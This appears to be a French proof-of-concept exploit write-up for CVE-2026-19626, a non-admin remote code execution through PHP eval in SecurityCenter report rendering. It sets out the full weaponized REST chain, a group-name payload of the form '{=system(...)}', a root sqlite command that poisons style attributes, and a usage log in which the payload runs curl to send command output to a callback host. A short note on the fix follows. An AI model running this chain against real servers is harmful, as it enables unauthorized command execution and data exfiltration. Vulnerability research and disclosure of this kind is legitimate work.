
Exploit de preuve de concept pour CVE-2026-19626, une exécution de code à distance authentifiée dans la génération de rapports SecurityCenter, démontrant une chaîne non-administrateur via l'injection de nom de groupe et l'eval PHP.

Statut : CONFIRMÉ — purement distant, non-admin, REST uniquement (lab 6.7.2-14.el9, 2026-08-21).
La chaîne weaponisée (c'est ce que fait poc.py) :
POST /rest/group avec name: "{=system('<cmd>')}" — accolades/guillemets
acceptés tels quels (le contrôleur de groupe n'effectue aucun contrôle de jeu
de caractères)POST /rest/reportDefinition — rapport PDF, un composant pieChart,
requête user/sumgroup, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams(){label}{=...}eval("$expr = system('<cmd>');")system() est réinjectée dans le label — la sortie de
la commande est rendue dans la légende du camembert du rapport finalisé (le
canal d'exfiltration)Le marqueur /tmp/pwn_label est créé par cette chaîne exacte (aucun accès BDD, aucune écriture de style, aucun téléversement de fichier). Noter que le groupe à zéro membre produit quand même une part — l'agrégation sumgroup l'inclut.
Également confirmé par invocation directe et empoisonnement de style sur le pipeline complet (voir l'historique ci-dessous) : le sink eval est actif dans substituteParams() tel que livré, et un attribut de style par défaut legendFormat empoisonné se déclenche sur TOUT rendu de pie-chart, y compris les rapports appartenant à des non-admin.
Réserve sur la livraison (pourquoi le PoC purement REST cale) : l'objet style en ligne de la définition de rapport — là où le PoC place legendFormat/labelFormat — est stocké tel quel dans xmlDefinition mais écarté au rendu : getReport(CONTEXT_RENDER) réhydrate les composants depuis les tables normalisées et écrase $component['style'] avec StyleLib::getComponentStyle() (récupéré par styleID). Le contrôleur d'import de style existe (Styles::add, analyse un fichier XML téléversé via xmlToStyles, avec la vérification réservée à l'admin commentée) mais aucune route n'y est exposée — les 12 combinaisons verbe/chemin testées (style, styles, style::add, style/import × POST/PUT/PATCH, avec un nom de fichier préparé valide) renvoient toutes l'erreur 10, et le bundle UI ne contient aucun appel d'endpoint de style. La livraison purement distante requiert donc un chemin d'écriture de style que 6.7.2 n'expose pas ; la chaîne rendue a été démontrée directement via l'attribut de style.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 et versions antérieures) :
eval("\$expr = {$exprs[1]};") dans substituteParams(). Les
chaînes de format de légende/label du pie-chart ($style['legendFormat'] /
$style['labelFormat'], lignes 4952/4983) prennent en charge les paramètres
{=<arithmetic>}, par ex. le défaut intégré {={sector}+1}. Le corps de
l'expression est un contenu de définition de rapport fourni par l'utilisateur →
PHP arbitraire.eval("\$sectorLabels->setBackground($labelStyle);") avec
labelStyling provenant du style du graphique. La protection 6.8.0 était
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejette
uniquement ; ; system('cmd') passe.if (is_callable($matches['name'])) sur les spécifications
de forme de barre comme circleShape(10). system(id) passe le contrôle. Le
commentaire du correctif 6.9.0 le déclare sans détour : "is_callable() n'est PAS
un contrôle sûr (is_callable("system") === true)".Tout utilisateur org disposant des droits de définition de rapport atteint les trois au moment du rendu (generateReport.php / Jobd). ReportDefinitions::launch() refuse ROLE_ADMIN — la classe de bug est explicitement non-admin.
La sortie de la commande est réinjectée dans le texte du label, le rapport rendu est donc le canal d'exfiltration.
eval() supprimé ; les expressions {=...} restreintes à /^[0-9.\s()+\-*\/]+/ et évaluées par un tokenizer ; resolveLabelStyleArgs() analyse le style de label en une liste d'arguments ; isAllowedBarShapeFunction() liste blanche à paramètres numériques uniquement.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Injection de label via le nom de groupe (la chaîne distante ci-dessus) : crée le groupe portant le nom du payload, construit le rapport sumgroup, le lance et interroge le résultat rendu — la sortie de la commande apparaît dans la légende du camembert du rapport finalisé. Contrainte du payload : aucun caractère } (la regex {=...} est non gourmande jusqu'à la première accolade) ; la sortie de la commande voyage via la substitution du label, lisez-la donc depuis le rapport ou vérifiez-la via marqueur/timing.
style.legendFormat/labelFormat en ligne de la définition est stocké tel quel
dans xmlDefinition mais écarté au rendu — les composants réhydratent les
styles depuis les tables Style via styleID (le contexte de rendu
ReportDefinitionLib écrase $component['style'] avec
StyleLib::getComponentStyle()).Styles::add, vérification admin
commentée, analyse un XML téléversé via xmlToStyles) mais aucune route n'est
câblée — 12 combinaisons verbe/chemin (dont la sous-ressource
/rest/style/{id}) renvoient toutes l'erreur 10, et le bundle UI ne contient
aucun appel d'endpoint de style.{label} précède la boucle d'évaluation, donc TOUT label influencé
par l'attaquant (nom de groupe ici ; les champs de profil utilisateur et les noms
d'hôte des actifs scannés sont de la même forme) transporte le payload.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0